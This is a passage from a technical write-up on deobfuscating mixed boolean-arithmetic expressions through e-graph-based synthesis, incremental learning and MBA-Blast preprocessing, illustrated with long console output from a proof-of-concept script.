)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x6c))-((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x1)))+((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x6c)))*0x67)+0xd)*(-0x52))|0x22)*(-0x1b)))+(-0x3e))-(-0x9))*(-0x13))&(-0x1))
====================================================================================================
eclasses #: 132
Synthesized (cost = 473): ((((((((((((((((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x3a)+0xaf)&0xf4)+((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x63))+0x2e)&0x94)-((((((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x3a)+0xaf)&0xf4)+((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x63))+0x2e))+(((((((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x3a)+0xaf)&0xf4)+((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x63))+0x2e)&0x94))*0x67)+0xd)*0x2d)+((((((((((((((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x3a)+0xaf)&0xf4)+((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x63))+0x2e)&0x94)-((((((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x3a)+0xaf)&0xf4)+((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x63))+0x2e))+(((((((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x3a)+0xaf)&0xf4)+((((((x+x)&0x46)*0x4b)+(((((((x+0xab)+0xd6)+((~x)+(~x)))+(x+x))*0x3)+0x4d)*0xe7))+0x76)*0x63))+0x2e)&0x94))*0x67)+0xd)*0xae)|0x22)*0xe5))+0xc2)-0xf7)*0xed)
====================================================================================================
eclasses #: 252
Synthesized (cost = 219): (((((((((((((((((((((x+x)&0x46)*0x4b)*0x3a)+((0x2*(~(-x)))+0xde))+0xbc)+0xaf)&0xf4)+((((x+x)&0x46)+(((((0x7f+x)*0x3)+0x4d)*0xe7)*0x63))+0xa2))+0x2e)&0x94)*0x67)*0xae)+(-((((((((((x+x)&0x46)*0x4b)*0x3a)+((0x2*(~(-x)))+0xde))+0xbc)+0xaf)&0xf4)+((((x+x)&0x46)+(((((0x7f+x)*0x3)+0x4d)*0xe7)*0x63))+0xa2))+0x2e)))*0x67)+0xd)*0x2d)+(((((((((((((((((((x+x)&0x46)*0x4b)*0x3a)+((0x2*(~(-x)))+0xde))+0xbc)+0xaf)&0xf4)+((((x+x)&0x46)+(((((0x7f+x)*0x3)+0x4d)*0xe7)*0x63))+0xa2))+0x2e)&0x94)*0x67)*0xae)+(-((((((((((x+x)&0x46)*0x4b)*0x3a)+((0x2*(~(-x)))+0xde))+0xbc)+0xaf)&0xf4)+((((x+x)&0x46)+(((((0x7f+x)*0x3)+0x4d)*0xe7)*0x63))+0xa2))+0x2e)))*0x67)+0xd)*0xae)|0x22)*0xe5))+0xc2)-0xf7)*0xed)
====================================================================================================
eclasses #: 650
Synthesized (cost = 181): ((((0xb+(0x1b*((0x2*((((((((0xf1+(0xb5*(0x7f+x)))+(((x+x)&0x46)*0x4b))*0x3a)+0xaf)&0xf4)+(((0xf1+(0xb5*(0x7f+x)))*0x63)+((x+x)&0x46)))+0x2e)&0x94))+(0xd2-((((((0xf1+(0xb5*(0x7f+x)))+(((x+x)&0x46)*0x4b))*0x3a)+0xaf)&0xf4)+(((0xf1+(0xb5*(0x7f+x)))*0x63)+((x+x)&0x46)))))))*0xed)+(((0x2*((0x2*((((((((0xf1+(0xb5*(0x7f+x)))+(((x+x)&0x46)*0x4b))*0x3a)+0xaf)&0xf4)+(((0xf1+(0xb5*(0x7f+x)))*0x63)+((x+x)&0x46)))+0x2e)&0x94))+(0xd2-((((((0xf1+(0xb5*(0x7f+x)))+(((x+x)&0x46)*0x4b))*0x3a)+0xaf)&0xf4)+(((0xf1+(0xb5*(0x7f+x)))*0x63)+((x+x)&0x46))))))+0xd6)|0x22))+0x55)
====================================================================================================
eclasses #: 3256
Synthesized (cost = 14): (((((x+x)&0x46)+(~(x+0xed)))+0x1)+0x49)
====================================================================================================
eclasses #: 48747
Synthesized (cost = 11): ((((x+x)&0x46)+(0x80-x))+0xdc)
e-graph reset done.
====================================================================================================
eclasses #: 17
Synthesized (cost = 11): ((((x+x)&0x46)+(0x80-x))+0xdc)
====================================================================================================
eclasses #: 28
Synthesized (cost = 11): ((((x+x)&0x46)+(0x80-x))+0xdc)
====================================================================================================
eclasses #: 51
Synthesized (cost = 10): ((0x5c+(-x))+((x+x)&0x46))
====================================================================================================
eclasses #: 87
Synthesized (cost = 9): ((0x5c+((x+x)&0x46))-x)
====================================================================================================

Incremental Learning

Investigating the idea of reducing the amount of wasted information led to a concept resembling an incremental learning technique. In fact, during the synthesis phase, new knowledge is normally generated and discarded, while we could instead put it to good use. This new information can be divided into:

  • Coming from a sub-expression that can be synthesized, namely: the computed oracle key, the processed e-class and its simplified representation;
  • Coming from a sub-expression that cannot be synthesized, namely: the computed oracle key, that turned out to be missing from the oracle, and the processed e-class.

Both cases provide valuable knowledge that can be inserted into the e-graph, incrementally improving the results:

  • In the former case, the synthesized representation of the node can be inserted into the e-graph, obtaining a new e-class to be merged with the original e-class. This will provide the e-graph with the best representation for that e-class and additional e-nodes to be e-matched, potentially leading to more synthesis opportunities;
  • In the latter case, all the e-classes that resulted into the computation of the same oracle key can be merged into a single e-class, reducing the total amount of e-classes and enforcing a best representation to be used during the extraction phase.

The following example shows how repurposing the runtime information leads to a smaller result with fewer e-classes in less iterations.

With incremental learning
python3 synth.py
eclasses #: 18
Input (cost = 29): (((((((x&y)*0x3)-(x|y))-(~(x|y)))-(((~x)&y)*0x2))-(~y))-(x|(~y)))
====================================================================================================
eclasses #: 23
Synthesized (cost = 29): (((((((x&y)*0x3)-(x|y))-(~(x|y)))-(((~x)&y)*0x2))-(~y))-(x|(~y)))
====================================================================================================
eclasses #: 27
Synthesized (cost = 29): (((((((x&y)*0x3)-(x|y))-(~(x|y)))-(((~x)&y)*0x2))-(~y))-(x|(~y)))
====================================================================================================
eclasses #: 48
Synthesized (cost = 20): (((-((~x)+(x^y)))+(((x&y)*0x3)+0x1))-(x|(~y)))
====================================================================================================
eclasses #: 108
Synthesized (cost = 18): (((-(((~x)&y)-0x1))+(((x&y)*0x3)+0x1))-(~y))
====================================================================================================
eclasses #: 294
Synthesized (cost = 13): ((((x&y)+0x2)+((x&y)*0x3))+0x1)
====================================================================================================
eclasses #: 947
Synthesized (cost = 11): (((x&y)+0x3)+((x&y)*0x3))
====================================================================================================
eclasses #: 5786
Synthesized (cost = 7): ((0x4*(x&y))+0x3)
====================================================================================================
Without incremental learning
python3 synth.py
eclasses #: 18
Input (cost = 29): (((((((x&y)*0x3)-(x|y))-(~(x|y)))-(((~x)&y)*0x2))-(~y))-(x|(~y)))
====================================================================================================
eclasses #: 23
Synthesized (cost = 29): (((((((x&y)*0x3)-(x|y))-(~(x|y)))-(((~x)&y)*0x2))-(~y))-(x|(~y)))
====================================================================================================
eclasses #: 30
Synthesized (cost = 29): (((((((x&y)*0x3)-(x|y))-(~(x|y)))-(((~x)&y)*0x2))-(~y))-(x|(~y)))
====================================================================================================
eclasses #: 50
Synthesized (cost = 20): (((-((~x)+(x^y)))+(0x1+((x&y)*0x3)))-(x|(~y)))
====================================================================================================
eclasses #: 112
Synthesized (cost = 18): (((-((~x)+(x|y)))+(0x1+((x&y)*0x3)))-(~y))
====================================================================================================
eclasses #: 364
Synthesized (cost = 15): (((-(~(x&y)))+(0x1+((x&y)*0x3)))+0x1)
====================================================================================================
eclasses #: 1354
Synthesized (cost = 13): (((x&y)+(0x2+((x&y)*0x3)))+0x1)
====================================================================================================
eclasses #: 6358
Synthesized (cost = 11): ((x&y)+(0x3+((x&y)*0x3)))
====================================================================================================

Expression Preprocessing

There are cases in which preprocessing the input expression may increase the probability of achieving good synthesis results. In the proof of concept, two preprocessing steps have been included: First, a simplified implementation of MBA-Blast to shrink and normalize linear sub-expressions; then, a pass which converts multiplications by a small constant into sequences of additions, increasing the chance for the associativity rewriting to match synthesizable sub-expressions.

MBA-Blast Normalization

The open-source implementation of MBA-Blast currently does not not handle the processing of linear sub-expressions in non-linear or polynomial input forms. Further, it also does not implement the common sub-expression elimination idea proposed in the original publication. In our proof of concept, the input expression is turned into an AST with detection of common sub-expressions, enabling a transparent handling of the linear parts of a non-linear or polynomial input and attempting a layered elimination of common terms.

The base selection plays an important role in how effective the algebraic simplifications will be and if the layered elimination will be possible at all. In fact, it is currently unknown if there is an optimal way to pick the base given the expression’s properties. Therefore three default basis are provided: TINY (small terms preferred), HUGE (variables and-ed together) and HARD (hardcoded handpicked base).

Multiplication Explosion

This preprocessing step is an attempt to increase the amount of commutativity and associativity rewriting opportunities, hoping for some of those to cancel out sub-terms or turn them into synthesizable nodes. The explosion is currently being limited to small multiplicative constants. Usually this is fine, as the selected coefficients for in-the-wild MBA expressions are small, even though nothing would exclude the artificial usage of big coefficients, ruling this step out altogether.

Evaluation

The following tests showcase linear, non-linear and polynomial MBA expressions obtained from NeuReduce, MBA-Obfuscator, QSynthesis and own implementations of the first (rewriting) and third (encoding) theorems from the original Zhou et al. publications. Additionally, the selected expressions are only partially handled by the standard QSynthesis implementation.

Linear MBA with one 8 bits variable and one 8 bits constant
python3 synth.py --use-constants-harvest
eclasses #: 10
Input (cost = 13): (((x|0x10)-((~x)&0x10))-(x&(-0x11)))
====================================================================================================
eclasses #: 14
Synthesized (cost = 5): (x-(x&0xef))
====================================================================================================
eclasses #: 22
Synthesized (cost = 3): (x&0x10)
====================================================================================================
Linear MBA with five 8 bits variables
python3 synth.py
eclasses #: 47
Input (cost = 75): ((((((((((((-((x^y)*0x4))-((~y)|(~z)))+(((~x)|(~y))*0x4))-((x|((~y)&z))*0x5))+(((~x)&(y|z))*0x3))+(x*0x7))-((((~x)|y)|z)*0x2))-((x^y)|(~z)))+(a&(~b)))-(~(a|b)))+((~a)|b))+0x2)
====================================================================================================
eclasses #: 64
Synthesized (cost = 24): (((a-((~((-(y^z))-(x&(y^z))))-(a^b)))+((~a)|b))+0x2)
====================================================================================================
eclasses #: 93
Synthesized (cost = 24): (((a-((~((-(y^z))-(x&(y^z))))-(a^b)))+((~a)|b))+0x2)
====================================================================================================
eclasses #: 175
Synthesized (cost = 19): (((0xff+((-(y^z))-(x&(y^z))))-(~(a|b)))+0x2)
====================================================================================================
eclasses #: 501
Synthesized (cost = 16): ((((a|b)-(y^z))+(-(x&(y^z))))+0x2)
====================================================================================================
Non-Linear MBA with four 8 bits variables
python3 synth.py --use-mba-blast-before --mba-blast-logic=2
Original: (((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((-((((z&(x^y))&(~w))|((x|(y|z))&w))*-0xfa))-((((z^(x|(y|z)))&(~w))|(((x&(~y))|(y^z))&w))*0x1))+(((((~(x^y))&(~(x^z)))&(~w))|(((x&z)^(~(x^(y&z))))&w))*0x7))+((((~(y&(~z)))&(~w))|((~(x^((~y)&z)))&w))*0x1))+((x&(y&(z&w)))*0x7))+((x&(y&((~z)&w)))*0x8))+((x&((~y)&((~z)&w)))*0x8))+(((~x)&(y&(z&w)))*0x5))-(((~x)&(y&((~z)&w)))*0x1))-(((~x)&((~y)&((~z)&w)))*0x8))-((~(x|(y|(z|w))))*0x8))-((~(x|(y|((~z)|w))))*0x1))+((~(x|((~y)|(z|w))))*0x1))+((~(x|((~y)|((~z)|w))))*0x5))+((~((~x)|(y|(z|w))))*0x1))+((~((~x)|(y|((~z)|w))))*0x6))+((~((~x)|((~y)|(z|w))))*0x2))-((~((~x)|((~y)|((~z)|w))))*0x7))&y)^(~(((((((((((((((((((-((((z&(x^y))&(~w))|((x|(y|z))&w))*-0xfa))-((((z^(x|(y|z)))&(~w))|(((x&(~y))|(y^z))&w))*0x1))+(((((~(x^y))&(~(x^z)))&(~w))|(((x&z)^(~(x^(y&z))))&w))*0x7))+((((~(y&(~z)))&(~w))|((~(x^((~y)&z)))&w))*0x1))+((x&(y&(z&w)))*0x7))+((x&(y&((~z)&w)))*0x8))+((x&((~y)&((~z)&w)))*0x8))+(((~x)&(y&(z&w)))*0x5))-(((~x)&(y&((~z)&w)))*0x1))-(((~x)&((~y)&((~z)&w)))*0x8))-((~(x|(y|(z|w))))*0x8))-((~(x|(y|((~z)|w))))*0x1))+((~(x|((~y)|(z|w))))*0x1))+((~(x|((~y)|((~z)|w))))*0x5))+((~((~x)|(y|(z|w))))*0x1))+((~((~x)|(y|((~z)|w))))*0x6))+((~((~x)|((~y)|(z|w))))*0x2))-((~((~x)|((~y)|((~z)|w))))*0x7))^((~y)|z))))&(~w))|((z^(~(((((((((((((((((((-((((z&(x^y))&(~w))|((x|(y|z))&w))*-0xfa))-((((z^(x|(y|z)))&(~w))|(((x&(~y))|(y^z))&w))*0x1))+(((((~(x^y))&(~(x^z)))&(~w))|(((x&z)^(~(x^(y&z))))&w))*0x7))+((((~(y&(~z)))&(~w))|((~(x^((~y)&z)))&w))*0x1))+((x&(y&(z&w)))*0x7))+((x&(y&((~z)&w)))*0x8))+((x&((~y)&((~z)&w)))*0x8))+(((~x)&(y&(z&w)))*0x5))-(((~x)&(y&((~z)&w)))*0x1))-(((~x)&((~y)&((~z)&w)))*0x8))-((~(x|(y|(z|w))))*0x8))-((~(x|(y|((~z)|w))))*0x1))+((~(x|((~y)|(z|w))))*0x1))+((~(x|((~y)|((~z)|w))))*0x5))+((~((~x)|(y|(z|w))))*0x1))+((~((~x)|(y|((~z)|w))))*0x6))+((~((~x)|((~y)|(z|w))))*0x2))-((~((~x)|((~y)|((~z)|w))))*0x7))|(y&z))))&w))*0x3)+((((y^(~(x&(y&z))))&(~w))|(((x|y)&(~(x^(y^z))))&w))*0x1))-((((y^(~(x&(y&z))))&(~w))|((~(y^z))&w))*0x1))+((((z^(~(x&((~y)|z))))&(~w))|((x&(~z))&w))*0x1))-(((((x&y)|(~(y|z)))&(~w))|(((x&y)|(~(x^(y^z))))&w))*0x3))+((((z&(~(x&y)))&(~w))|((x&y)&w))*0x4))-(((((~(x^y))&(~(x^z)))&(~w))|(((x|y)&(x^(y^z)))&w))*0x1))+((((z^(~(x&((~y)&z))))&(~w))|((y^(x&((~y)|z)))&w))*0x2))-((((x&((~y)|z))&(~w))|(((x&(~y))|(~(y^z)))&w))*0xb))-(((((~(x|y))|(~(x^(y^z))))&(~w))|((~((~x)&(y^z)))&w))*0xb))+(((((x&y)|(y^z))&(~w))|((~(x^((~y)&z)))&w))*0x1))-(((((x&(~y))|(~(y^z)))&(~w))|(((x&z)^(~(x^(y&z))))&w))*0x3))+(((((~(x^y))&(~(x^z)))&(~w))|(((x&z)|(y&(~z)))&w))*0x5))-((((y^(x|(y^z)))&(~w))|(((~(x^y))|(x^z))&w))*0x1))+((((z^(~(x|((~y)&z))))&(~w))|((y^(x|((~y)|z)))&w))*0x2))+((((y|(~(x|(~z))))&(~w))|(((~x)|(y^z))&w))*0xb))-(((((x&(~y))|(y^z))&(~w))|((y&(~(x&(~z))))&w))*0x1))-(((((~(x&y))&(~(x^(y^z))))&(~w))|((z^(x|((~y)&z)))&w))*0x5))+((((y^(~(x&((~y)&z))))&(~w))|((z^(x|y))&w))*0x7))-(((((y&(~z))^((~x)|(y^z)))&(~w))|(((~y)&(~(x^z)))&w))*0x6))+((((z^(x&(~y)))&(~w))|((z^(x&y))&w))*0x1))+((((x|(~z))&(~w))|((x^(y|z))&w))*0x5))+((((~(x&(y|z)))&(~w))|((z&(~(x&y)))&w))*0x1))+((((y^(~((~x)&(y^z))))&(~w))|((y^(~(x&(~z))))&w))*0xb))+((((~(y&z))&(~w))|((x&(y^z))&w))*0x1))-(((((x&y)^(x^((~y)|z)))&(~w))|((x|((~y)|z))&w))*0x6))+(((((~(x&(~y)))&(y^z))&(~w))|((z^((~x)|(y|z)))&w))*0x1))+((((~(x&(~y)))&(~w))|((y^((~x)|(y^z)))&w))*0x1))+(((((~z)&(~(x^y)))&(~w))|((y^(~(x&(y&z))))&w))*0x5))-((((z^(x|(~y)))&(~w))|(((x&y)|(y^z))&w))*0x1))+(((((~y)&(x^z))&(~w))|((~(x|(~z)))&w))*0xb))-(((((~(x&y))&(x^(y^z)))&(~w))|(((x&y)^(y|(~z)))&w))*0x2))+((((y^(~(x|((~y)&z))))&(~w))|((z^(~(x&((~y)|z))))&w))*0x1))-(((((x&z)^(~(x^((~y)&z))))&(~w))|((~(y|z))&w))*0x2))-(((((x&y)|(~(y^z)))&(~w))|(((~y)&(~(x^z)))&w))*0x1))-((((~(x&(y^z)))&(~w))|((~(x&((~y)|z)))&w))*0x6))+((((x&y)&(~w))|(((~y)|(x^z))&w))*0x3))-(((((~x)|((~y)&z))&(~w))|(((~(x|y))|(y^z))&w))*0x7))+((((~(x|(y^z)))&(~w))|((x|(~z))&w))*0x1))-((((~(x|y))&(~w))|((z^(~((~x)&((~y)&z))))&w))*0x1))-((((z^(x|((~y)|z)))&(~w))|(((x|(~y))&(~(x^(y^z))))&w))*0x7))-((((x&(y|z))&(~w))|((z&(~(x&(~y))))&w))*0x3))+((((x^z)&(~w))|(((x&y)|(~(x^(y^z))))&w))*0x1))-((((~(y^z))&(~w))|(((y&z)^(~((~x)&(y^z))))&w))*0x1))+((((~(y|z))&(~w))|(((x^y)|(x^z))&w))*0x3))-((((x&(y|z))&(~w))|((y^(x|(y|z)))&w))*0x2))-(((((x|(~y))&(~(x^(y^z))))&(~w))|(((~(x|(~y)))|(~(y^z)))&w))*0x1))+((((x|(~z))&(~w))|((y^(x|((~y)|z)))&w))*0xb))+(((((~(x&(~y)))&(~(y^z)))&(~w))|((y^(~(x&(y&z))))&w))*0x2))+((((z^(~(x|y)))&(~w))|(((y&(~z))^((~x)|(y^z)))&w))*0x2))-((((~(x^y))&(~w))|(((~z)&(~(x^y)))&w))*0x6))-((((y^(~((~x)&(y|z))))&(~w))|((~(x|y))&w))*0x1))+((((x|(y&z))&(~w))|(((~(x&y))&(x^(y^z)))&w))*0x3))-((((z^(~((~x)&((~y)&z))))&(~w))|(((y&(~z))^(x|(y^z)))&w))*0xb))-((((z^(~(x|y)))&(~w))|((y^(x&(y|z)))&w))*0x7))+((((z|(~(x^y)))&(~w))|((z^((~x)|((~y)&z)))&w))*0x2))+(((((x|y)&(x^(y^z)))&(~w))|((z|(x&(~y)))&w))*0x1))+((((z&(~(x^y)))&(~w))|(((x&z)^(~(x^((~y)&z))))&w))*0x1))-(((((x&(~y))|(y^z))&(~w))|((~y)&w))*0x6))+((((y^(~(x|(y&z))))&(~w))|(((y&(~z))^((~x)|(y^z)))&w))*0x4))-((((~((~x)|((~y)|z)))&(~w))|((z&(x^y))&w))*0x5))-((((x^(y^z))&(~w))|((x&(~y))&w))*0x2))+(((((~(x|(~y)))|(~(x^(y^z))))&(~w))|(y&w))*0x2))-((((x|(y&z))&(~w))|((z^(~((~x)&((~y)|z))))&w))*0x1))-((((x&(~y))&(~w))|((z^(~(x|((~y)&z))))&w))*0x2))+((((z^(x&(y|z)))&(~w))|((z^((~x)|((~y)|z)))&w))*0x7))+(((((~x)|((~y)|z))&(~w))|((~(x|(y|z)))&w))*0x4))+((((y^(~(x|(y&z))))&(~w))|((~(x^((~y)&z)))&w))*0x2))+((((y^(~(x&(~z))))&(~w))|((y^((~x)&(y^z)))&w))*0x1))+((((z^(~(x&y)))&(~w))|(((x^y)|(x^z))&w))*0x1))+(((((x|(~y))&(x^(y^z)))&(~w))|((~(x&(~z)))&w))*0x5))-((((y^(x&((~y)|z)))&(~w))|((y^(x&((~y)|z)))&w))*0x2))+(((((x&y)^(~(x^(y&z))))&(~w))|((~(x&(~z)))&w))*0x1))-((((z&(x^y))&(~w))|(((x|y)&(y^z))&w))*0x3))-((((y|(~(x^z)))&(~w))|((~(x^((~y)|z)))&w))*0x2))-((((y^((~x)&(y|z)))&(~w))|(((~z)&(x^y))&w))*0x7))-((((~(x^(y&z)))&(~w))|((z|(~(x^y)))&w))*0x6))+(((((x&(~y))|(~(y^z)))&(~w))|((y^(~((~x)|((~y)&z))))&w))*0x1))+(((((~y)&(~(x^z)))&(~w))|((x&((~y)|z))&w))*0xb))-(((((y&z)^(~(x&(y^z))))&(~w))|(((~(x|y))|(y^z))&w))*0x1))+(((((x&z)|(y&(~z)))&(~w))|((z^((~x)&((~y)|z)))&w))*0x1))-((((~((~x)&((~y)|z)))&(~w))|(((~(x|y))|(~(y^z)))&w))*0x2))-((((y^((~x)|((~y)&z)))&(~w))|((~((~x)|((~y)|z)))&w))*0x1))+((~(x|(y|(z|w))))*0x8))-((~(x|((~y)|(z|w))))*0x7))-((~((~x)|(y|(z|w))))*0x7))+((~((~x)|((~y)|(z|w))))*0x7))+((~(x|(y|((~z)|w))))*0xd))+((~(x|((~y)|((~z)|w))))*0x15))+((~((~x)|(y|((~z)|w))))*0xa))+((~((~x)|((~y)|((~z)|w))))*0x6))+(((~x)&((~y)&((~z)&w)))*0xc))-(((~x)&(y&((~z)&w)))*0x1d))+((x&((~y)&((~z)&w)))*0xc))+((x&(y&((~z)&w)))*0xc))-(((~x)&((~y)&(z&w)))*0x20))+(((~x)&(y&(z&w)))*0xe))+((x&((~y)&(z&w)))*0xc))+((((((((((((((((((((-((((z&(x^y))&(~w))|((x|(y|z))&w))*-0xfa))-((((z^(x|(y|z)))&(~w))|(((x&(~y))|(y^z))&w))*0x1))+(((((~(x^y))&(~(x^z)))&(~w))|(((x&z)^(~(x^(y&z))))&w))*0x7))+((((~(y&(~z)))&(~w))|((~(x^((~y)&z)))&w))*0x1))+((x&(y&(z&w)))*0x7))+((x&(y&((~z)&w)))*0x8))+((x&((~y)&((~z)&w)))*0x8))+(((~x)&(y&(z&w)))*0x5))-(((~x)&(y&((~z)&w)))*0x1))-(((~x)&((~y)&((~z)&w)))*0x8))-((~(x|(y|(z|w))))*0x8))-((~(x|(y|((~z)|w))))*0x1))+((~(x|((~y)|(z|w))))*0x1))+((~(x|((~y)|((~z)|w))))*0x5))+((~((~x)|(y|(z|w))))*0x1))+((~((~x)|(y|((~z)|w))))*0x6))+((~((~x)|((~y)|(z|w))))*0x2))-((~((~x)|((~y)|((~z)|w))))*0x7))&(y&(z&w)))*0xf))
MBA-Blast: (((((((((((((((~w)&x)&y)&z)*0x4)+((((w&(~x))&y)&z)*0x4))+(((((~w)&(~x))&y)&z)*0x4))+(((w&x)&(~y))&z))+((((~w)&(~x))&(~y))&z))+(((w&x)&y)&(~z)))+(((((~w)&x)&y)&(~z))*0x4))+(((w&(~x))&y)&(~z)))+(((((~w)&(~x))&y)&(~z))*0x3))+(((w&(~x))&(~y))&(~z)))+((((~w)&(~x))&(~y))&(~z)))
eclasses #: 47
Input (cost = 120): (((((((((((((((~w)&x)&y)&z)*0x4)+((((w&(~x))&y)&z)*0x4))+(((((~w)&(~x))&y)&z)*0x4))+(((w&x)&(~y))&z))+((((~w)&(~x))&(~y))&z))+(((w&x)&y)&(~z)))+(((((~w)&x)&y)&(~z))*0x4))+(((w&(~x))&y)&(~z)))+(((((~w)&(~x))&y)&(~z))*0x3))+(((w&(~x))&(~y))&(~z)))+((((~w)&(~x))&(~y))&(~z)))
====================================================================================================
eclasses #: 52
Synthesized (cost = 113): (((((((((((((((~w)&x)&y)&z)*0x4)+((((w&(~x))&y)&z)*0x4))+((((~(w|x))&y)&z)*0x4))+(((w&x)&(~y))&z))+((~(w|(x|y)))&z))+(((w&x)&y)&(~z)))+(((((~w)&x)&y)&(~z))*0x4))+(((w&(~x))&y)&(~z)))+((((~(w|x))&y)&(~z))*0x3))+(((w&(~x))&(~y))&(~z)))+(~((w|x)|(y|z))))
====================================================================================================
eclasses #: 102
Synthesized (cost = 92): (((((((((~(w^x))&(z-(y&z)))+((0x4*((y&z)&(w^x)))+((((~(w|x))&y)&z)*0x4)))+(((w&x)&y)&(~z)))+(((((~w)&x)&y)&(~z))*0x4))+(((w&(~x))&y)&(~z)))+(((~(w|(x|z)))&y)*0x3))+(((~(x|y))&w)&(~z)))+(~((w|x)|(y|z))))
====================================================================================================
eclasses #: 194
Synthesized (cost = 79): (((((((((w&x)&(y^z))+(0x4*((z&y)-((w&x)&(z&y)))))+((~(w|(x|y)))&z))+((((~(w|z))&x)&y)*0x4))+(((~(x|z))&w)&y))+(((~(w|(x|z)))&y)*0x3))+((~(x|(y|z)))&w))+(~((w|x)|(y|z))))
====================================================================================================
eclasses #: 457
Synthesized (cost = 64): ((((~((w|x)|(y|z)))+((~((y|z)|x))&w))+((((~(w|(x|z)))&y)*0x3)+(((y&(~(w|z)))&x)*0x4)))+(((y^z)&((~w)^(x|y)))+(0x4*((z&y)-((w&x)&(z&y))))))
====================================================================================================
eclasses #: 1462
